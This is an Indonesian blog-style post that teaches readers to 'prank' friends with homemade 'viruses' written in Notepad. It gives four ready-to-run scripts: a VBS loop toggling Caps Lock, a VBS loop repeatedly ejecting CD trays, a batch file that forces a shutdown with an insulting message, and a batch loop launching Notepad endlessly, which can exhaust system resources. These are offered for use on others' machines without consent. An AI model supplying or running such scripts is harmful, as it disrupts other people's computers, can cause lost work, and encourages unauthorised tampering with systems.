Usilin Teman Anda Dengan Virus

Sepi sendiri gada kerjaan..Enagnya gini kerjain orang dengan virus jail buatan kita sendiri dengan Notepad. Anda tidak perlu pandai, cuma dengan modal copy paste aje bisa kerjaen orang... :D

silakan mulai.... Mari copy kode di bawah ini





Mainin Caps Lock button

Code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

save namafile.vbs
(save dengan Ekstensi file .vbs)

Buka tutup CD/DVD

Code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs

Bikin shutdown+message
Code:

@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"

save namafile.BAT
(ekstensi filenya harus .BAT)

Buka notepad trus menerus
Code:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save namafile.BAT
ket:termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.